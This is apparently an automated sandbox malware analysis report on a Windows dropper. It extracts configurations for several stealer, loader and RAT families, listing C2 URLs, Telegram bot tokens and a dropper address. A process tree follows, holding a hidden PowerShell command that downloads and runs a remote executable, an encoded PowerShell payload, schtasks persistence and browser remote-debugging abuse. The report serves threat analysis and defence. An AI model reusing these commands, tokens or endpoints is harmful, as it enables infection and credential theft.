Overview

overview

10

Static

static

5

2025-07-05...er.exe

windows10-2004-x64

10

2025-07-05...er.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250619-en
  • resource tags

    arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05/07/2025, 12:33

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2025-07-05_28497e1bc305a0b6b5f27c950dd21a4e_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe
  • Size 938KB
  • Sample250705-prnassyvey
  • SHA256 a2e2b8a01ceacb6106323761b4e141b4e0b2f584b8a50dcecb56c9124e04ca1a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
amadeygurculummastealeriumvidarxmrigxworm9573d63341a36f57993334e7badc5ad1fd2ac1collectioncredential_accessdefense_evasiondiscoveryexecutionminerpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://176.46.157.32/testmine/random.exe

Extracted

Family

  • vidar

Version

  • 14.5

Botnet

  • 9573d63341a36f57993334e7badc5ad1

C2

  • https://t.me/g0e7qx

  • https://steamcommunity.com/profiles/76561199874190020

Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/137.0.0.0 Safari/537.36 OPR/122.0.0.0

Extracted

Family

  • amadey

Version

  • 3.67

Botnet

  • fd2ac1

C2

  • http://212.118.43.106

Attributes
  • install_dir

    416acdeed8

  • install_file

    knuus.exe

  • strings_key

    6b2ddb5a957a521286e9aa79adc6f497

  • url_paths

    /dF30Hn4m/index.php

rc4.plain

Extracted

Family

  • stealerium

C2

  • https://api.telegram.org/bot7752834125:AAHFvXxMbIKxS_IV7-VoZ_U7lA6F-QbQ_34/sendMessage?chat_id=

  • https://api.telegram.org/bot8165913918:AAG4HdlwZSMvhTYtugUw4BUz3vx8V36VV3g/sendMessage?chat_id=

Extracted

Family

  • lumma

C2

  • https://sqgzl.xyz/taoa

  • https://ycvduc.xyz/trie

  • https://nbcsfar.xyz/tpxz

  • https://cbakk.xyz/ajng

  • https://trsuv.xyz/gait

  • https://cexpxg.xyz/airq

  • https://urarfx.xyz/twox

  • https://liaxn.xyz/nbzh

  • https://t.me/romalabs1

  • https://wesajkh.top/pxza

Attributes
  • build_id

    18093756cee3fcc3e51c92ab26aba0352dd8

Extracted

Family

  • xworm

Attributes
  • Install_directory

    %Temp%

  • install_file

    jusched.exe

Extracted

Family

  • gurcu

C2

  • https://api.telegram.org/bot7752834125:AAHFvXxMbIKxS_IV7-VoZ_U7lA6F-QbQ_34/getM

  • https://api.telegram.org/bot8165913918:AAG4HdlwZSMvhTYtugUw4BUz3vx8V36VV3g/getM

  • https://api.telegram.org/bot7752834125:AAHFvXxMbIKxS_IV7-VoZ_U7lA6F-QbQ_34/sendMessage?chat_id=1015023563

  • https://api.telegram.org/bot8165913918:AAG4HdlwZSMvhTYtugUw4BUz3vx8V36VV3g/sendMessage?chat_id=1015023563

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Vidar Stealer 36 IoCs
    stealer
  • Detect Xworm Payload 3 IoCs
  • Gurcu family
    gurcu
  • Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

    stealergurcu
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Stealerium

    An open source info stealer written in C# first seen in May 2022.

    stealerstealerium
  • Stealerium family
    stealerium
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Xmrig family
    xmrig
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • XMRig Miner payload 7 IoCs
    miner
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 14 IoCs
  • Uses browser remote debugging 2 TTPs 19 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 28 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
    collection
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 15 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 12 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 29 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 44 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 4 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 18 IoCs
  • Kills process with taskkill 2 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 38 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-07-05_28497e1bc305a0b6b5f27c950dd21a4e_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-07-05_28497e1bc305a0b6b5f27c950dd21a4e_agent-tesla_amadey_black-basta_cobalt-strike_darkgate_elex_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2872
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn 1rjymma5vEk /tr "mshta C:\Users\Admin\Desktop\dQbdHlsRh.hta" /sc minute /mo 10 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5720
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn 1rjymma5vEk /tr "mshta C:\Users\Admin\Desktop\dQbdHlsRh.hta" /sc minute /mo 10 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2292
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\Desktop\dQbdHlsRh.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1376
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'H8ZUNVI1FIQQ6VYHQZSD97RAUSM0BUB9.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.46.157.32/testmine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1472
        • C:\Users\Admin\AppData\Local\TempH8ZUNVI1FIQQ6VYHQZSD97RAUSM0BUB9.EXE
          "C:\Users\Admin\AppData\Local\TempH8ZUNVI1FIQQ6VYHQZSD97RAUSM0BUB9.EXE"
          4⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4828
          • C:\Users\Admin\AppData\Local\Temp\bd4cae89c3\suker.exe
            "C:\Users\Admin\AppData\Local\Temp\bd4cae89c3\suker.exe"
            5⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • Adds Run key to start application
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5088
            • C:\Users\Admin\AppData\Local\Temp\10008610101\3qB4Bwc.exe
              "C:\Users\Admin\AppData\Local\Temp\10008610101\3qB4Bwc.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3448
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                • System Location Discovery: System Language Discovery
                • Checks processor information in registry
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3172
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                  8⤵
                  • Drops file in Windows directory
                  • Enumerates system info in registry
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of WriteProcessMemory
                  PID:3252
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fff346adcf8,0x7fff346add04,0x7fff346add10
                    9⤵
                      PID:3896
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1292,i,2495128315303035016,13876040294165831408,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2084 /prefetch:11
                      9⤵
                        PID:2932
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2020,i,2495128315303035016,13876040294165831408,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2028 /prefetch:2
                        9⤵
                          PID:3640
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2404,i,2495128315303035016,13876040294165831408,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2300 /prefetch:13
                          9⤵
                            PID:1136
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3172,i,2495128315303035016,13876040294165831408,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3236 /prefetch:1
                            9⤵
                              PID:5440
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3180,i,2495128315303035016,13876040294165831408,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3256 /prefetch:1
                              9⤵
                                PID:4260
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4340,i,2495128315303035016,13876040294165831408,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4360 /prefetch:9
                                9⤵
                                  PID:5716
                              • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADMAMgA1ADIAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADgAMAA4AEEALgB0AG0AcAAnADsASQBOAFYAbwBLAGUALQBFAFgAcABSAGUAcwBTAGkATwBOACAAKAAgAG4AZQBXAC0ATwBiAEoARQBDAFQAIAAgAHMAeQBzAFQARQBtAC4AaQBvAC4AUwB0AHIAZQBhAG0AUgBlAEEARABlAFIAKAAgACgAIABuAGUAVwAtAE8AYgBKAEUAQwBUACAAIABzAHkAUwBUAEUATQAuAGkAbwAuAEMAbwBNAFAAcgBlAHMAUwBJAE8ATgAuAGQAZQBmAEwAQQBUAEUAcwB0AFIAZQBhAE0AKABbAFMAWQBzAHQAZQBNAC4ASQBvAC4ATQBlAE0ATwBSAFkAcwBUAHIAZQBhAG0AXQBbAHMAeQBTAHQAZQBNAC4AYwBPAG4AdgBlAFIAVABdADoAOgBGAFIATwBtAGIAQQBTAEUANgA0AFMAdAByAEkAbgBHACgAJwBwAFYAWABmAGMAOQBvADQARQBIADUAbgBoAHYAOQBCAFoAZgB4AGcAVAA0ADMAcgBFAE8AWgArAGwAUABGAE0AdwBhAFEAcAAxADYAUwBoAFEATABsAE8AbQBUAHoASQA5AG8ATABkADIASgBZAHIAeQA4AEUATwA5AEgAKwAvAGwAZQAwAGsAMABPAE4AQwBNAHYAZQBDAHQARwBqADMAKwAzAGEAMQAzADgAcAA5AHoAMgB2AFAAaQBnAFIASQArAFQAdQBFAFoAUgBBAEgASQBtAEEAeABlAGQAZABxAE4AcgBJADAAaQBGAGQAawBXAHEAUQBDAG8AaAA3AFoAdABZAHgASgBGAG8AcwBnAEEAbQBNAFUAQwArAEEAcwBtAFEASwAvAEQAVgB4AEkAZQA4ADEARwBrAGoAbABoADQAQgBJADMAcABHAGwASwB2AG0ANgBJAHkAKwBKAFUAawBDAHkASQBCAGUAbABiAFoAbQA2AGEAWgBrAGMAZgB5AEUAMwBYAE4ASABXADcAKwB1AGMAUABmAFYAaAB1AE8AcQBaACsAVgBtADUATwBUAEUAUgBhAEQATQBOAHcARgBDAFcATQBDADcAVgAxAEEAegB5AEcAOABMAFQAVAAwAHEANQBUAFEAUQBVAFMAUQBJADcATQBNAGMARQBFAHgAbwBLAFQAcQB3AFQAaQBNAFcAZQBZAFEAcQBxAFcAWABMAG4AdQBNAEIAYQBTAFEAaQArAHQATwArADIANQBlAEcAVwBVAEgAYgBJAFUAUAB0AEQAWQBDADAARwB0AEMAZgBKAG4ASQA5AFEAQgA4ADQAQwBMAGoASQBiADkATQBHAFQAdQBXAGYANABBAG8AOQBlAGIAKwA4AFMAcQBoAFYAYQBMADgANwBJADAALwArAGEAQgBnAEwAcgBxAFMANABnAFkATAB3ADcAUQBPAEkAVwBBAHgAZgBVAGoARQBjAHYAcQBiAHIAeQBRAHIASwA0AEgANgBRAFMANAA0AG0AQgBGAFgAKwByAGQALwArAFoANgBIADIAYQBwAFAAMABMAGQAOABNAHkAVgBhAHIAUwBwADYAOABOAFQAaABDADkAdABqAHMAMgBCAEMAcABqAGcAbgBRAG0AWQArAFcAaAA0AC8AOQAyAGcAMgBxAGIAMwBHADYAYwA2AGMATwA5AHQAVAAzAHQAVQBmAFUAMQBXAEYAagBHAHAAaABKAGoAYwBkADgARABUAE4AbgBXAEUAYgArADMASwB0AGIAOABkAGIATwAzAHQAYwBIAHUAbQBMADIAbQBZAGcAcAA1AEkAdgBHAEMAcAArAHAAWgBWACsAUgB2AGYAYwBNAFEAMABEAGkATABEAEEAawBxAGYAWABnADAAVQBXAGIAKwBvAHoATgBkADMAUQB2AFEAeQBBAGMAMAB6AEwAaQBCAGUAQwBWADgAMwA4ADEATwBjAHQAYQAyAFoAZAAzAEIAQgBxADIAdgBXAFQATgBFACsAMAAyAFoAWAAvAHIANwBXADIAMgBQACsAVwBSAGIARgBlAGcAVABqAFgAdgAxAEwARQA3ADQAZQA2AFcAcgBkAGwAVgAzAGkAcgBsAGwAcQBnAFcAbABIAHcAUABIAE4AawBmAEQAcgBuAGsAUQAvAEkARwArAEoANwAvADEAYQBsADAAUgBlAEgAMABlAFcAawBJAGUARgBkAFQARAByADQANABCADEARQA0AFIAMQBRAEUAMwA3AGoAVABDAFIAWQBOAC8AZQB2AGUAKwBxAEMAZQBJAGwAVABUAGgAOABpAEYAWABoAEcAVwBiAFcAZQBrAGYAYQBGAHoAUgBlAFoAWABRAEYAeABKADcANgBsAEMAZgBOAFIAcgBPAGgANQBNAFEAaQA1AHkARABhAE4AcwBOAG4ARwArACsANQBQAGEAYgBDAEoANABxAEQAUgB6AEUAZQB0AGMAdwB3ADYAdwB5ACsAWABLADUAKwByAEgAOQAvADgALwBxAE4ALwB6AG0ALwBnACsAOQAzAHMANwB2AEoAYgBCAHcANAA3AE8ATAAyADYAcwAvAFgAcwB4AHMAMgBQAGwALwB6AHoAegBjAFcAZgBoACsAVQBTAEEAWgBkAGoAcwAwAFAAdwAyAC8AbgBrAHcARQBNADEAaAAvAHoAdgAwADUATwBvAHQAdwBVAGEAMABzADYATABMAE8ANAB2AEcAWQB5AG0ARwA4AFMAeQBtAG0AawBLAG4AYQBRACsATQBCAG4ATwBJADYANgA4AGgARQBLAFgAUgBuAE4ATgBZAFYAQwBhAGkAMwBxAEwAOABzAFUAMwBBAHcAYgBYAHgAZwAyAEwAeABMAEIAVgBwAHcAbQBmAG0ASAAwAEkAYgAxACsAKwA3AGEANgBhAEYAWAByAHkAUQBnAEQAdwA2ADAARgBsAG4ASQBMAFgATwBEAGgAZQA4ADYAaQBBAFUAMwBoAHQAKwA1AFUAYwBQAHgAVQBxAFIASwAvAGQAaAAzAE4AbgAvAGIARQBKAEgAcQBLAEIANgA1AFYAZQBsAGMAMABRADMARABMAEQATABqAGsAZwA5AGgAOQBHAHUARwB4AEwAdgBTAE8ASABzAHMAWgBYAFIAbQBWAGQAdABFAFIAYQBJAFMAeABNAGEAeABWAGkAWQBkACsANwByAEcAeQBLADIATQAvAE4ARQBwADEAbQBhAHIAKwAvAE0AaABMADUAZwBGAEcAVAAxAEMAWQBTAEkAcgBqAGMAaQBRADcAZABIAEsAeQBwAGYAVQBKADEAdQAwAHIANQB6AHQATwBOAHEAbQBmAHMAQgBPAHoAMAArADIAdAAvAFEAQgBWAHAAeQByAGMAdwB2AHcATgBDAGEAcABLAGQAeABTADEAWABCADYAbQBoADcAUgBYAGcAcABqAGEAUgB2AEkAWgA1AFMAZwAvAHUASABIAHQAcAB3AHcAdABSAGEAeABXAEcAZQAwAGIATQA5AGIAbgBuAEIAYQBxAGgAbABwAFcAUABHAHMAdwBKAHkAaABkAGwASwBnAFMANABUAFAALwBWAFoAYQBpAEwAdQBRAGIAYwBOAHEANQBWAGkAagBlAGgAdABaAHMALwBBAE0APQAnACkALABbAEkAbwAuAEMATwBNAFAAcgBlAHMAUwBJAE8AbgAuAGMATwBNAFAAUgBlAHMAUwBpAE8AbgBNAG8ARABlAF0AOgA6AGQAZQBDAG8AbQBQAFIAZQBTAHMAKQApACwAIABbAHMAWQBTAHQARQBNAC4AdABFAFgAdAAuAGUAbgBDAE8ARABpAG4ARwBdADoAOgBhAFMAQwBpAEkAKQApAC4AcgBFAGEAZAB0AG8AZQBOAGQAKAApAA==
                                8⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:4136
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ippdl5tf\ippdl5tf.cmdline"
                                  9⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3436
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES82AD.tmp" "c:\Users\Admin\AppData\Local\Temp\ippdl5tf\CSCC57265974E32438BA19E63D69DF5D11.TMP"
                                    10⤵
                                      PID:5124
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                  8⤵
                                  • Uses browser remote debugging
                                  • Drops file in Windows directory
                                  • Enumerates system info in registry
                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                  • Suspicious use of FindShellTrayWindow
                                  PID:3624
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x248,0x24c,0x250,0x244,0x2f4,0x7fff4cf1f208,0x7fff4cf1f214,0x7fff4cf1f220
                                    9⤵
                                      PID:4360
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1688,i,10876596215365527782,9726767066014496624,262144 --variations-seed-version --mojo-platform-channel-handle=2492 /prefetch:11
                                      9⤵
                                        PID:4600
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2116,i,10876596215365527782,9726767066014496624,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:13
                                        9⤵
                                          PID:3680
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2464,i,10876596215365527782,9726767066014496624,262144 --variations-seed-version --mojo-platform-channel-handle=2460 /prefetch:2
                                          9⤵
                                            PID:784
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3488,i,10876596215365527782,9726767066014496624,262144 --variations-seed-version --mojo-platform-channel-handle=3532 /prefetch:1
                                            9⤵
                                            • Uses browser remote debugging
                                            PID:2968
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3496,i,10876596215365527782,9726767066014496624,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
                                            9⤵
                                            • Uses browser remote debugging
                                            PID:3780
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /c timeout /t 11 & rd /s /q "C:\ProgramData\2vs2d" & exit
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:1484
                                          • C:\Windows\SysWOW64\timeout.exe
                                            timeout /t 11
                                            9⤵
                                            • System Location Discovery: System Language Discovery
                                            • Delays execution with timeout.exe
                                            PID:4360
                                    • C:\Users\Admin\AppData\Local\Temp\10008790101\51e763e5b0.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10008790101\51e763e5b0.exe"
                                      6⤵
                                      • Downloads MZ/PE file
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of WriteProcessMemory
                                      PID:4484
                                      • C:\ProgramData\R0ViJOQ4TJFJ.exe
                                        "C:\ProgramData\R0ViJOQ4TJFJ.exe"
                                        7⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:4704
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "cmd.exe" /c schtasks /create /tn "G4anleTl" /tr "C:\ProgramData\R0ViJOQ4TJFJ.exe" /sc minute /mo 10 /f
                                        7⤵
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of WriteProcessMemory
                                        PID:4156
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /create /tn "G4anleTl" /tr "C:\ProgramData\R0ViJOQ4TJFJ.exe" /sc minute /mo 10 /f
                                          8⤵
                                          • System Location Discovery: System Language Discovery
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:3084
                                    • C:\Users\Admin\AppData\Local\Temp\10010450101\nxnZt3j.exe
                                      "C:\Users\Admin\AppData\Local\Temp\10010450101\nxnZt3j.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      PID:5324
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 964
                                        7⤵
                                        • Program crash
                                        PID:5412
                                      • C:\Windows\SysWOW64\WerFault.exe
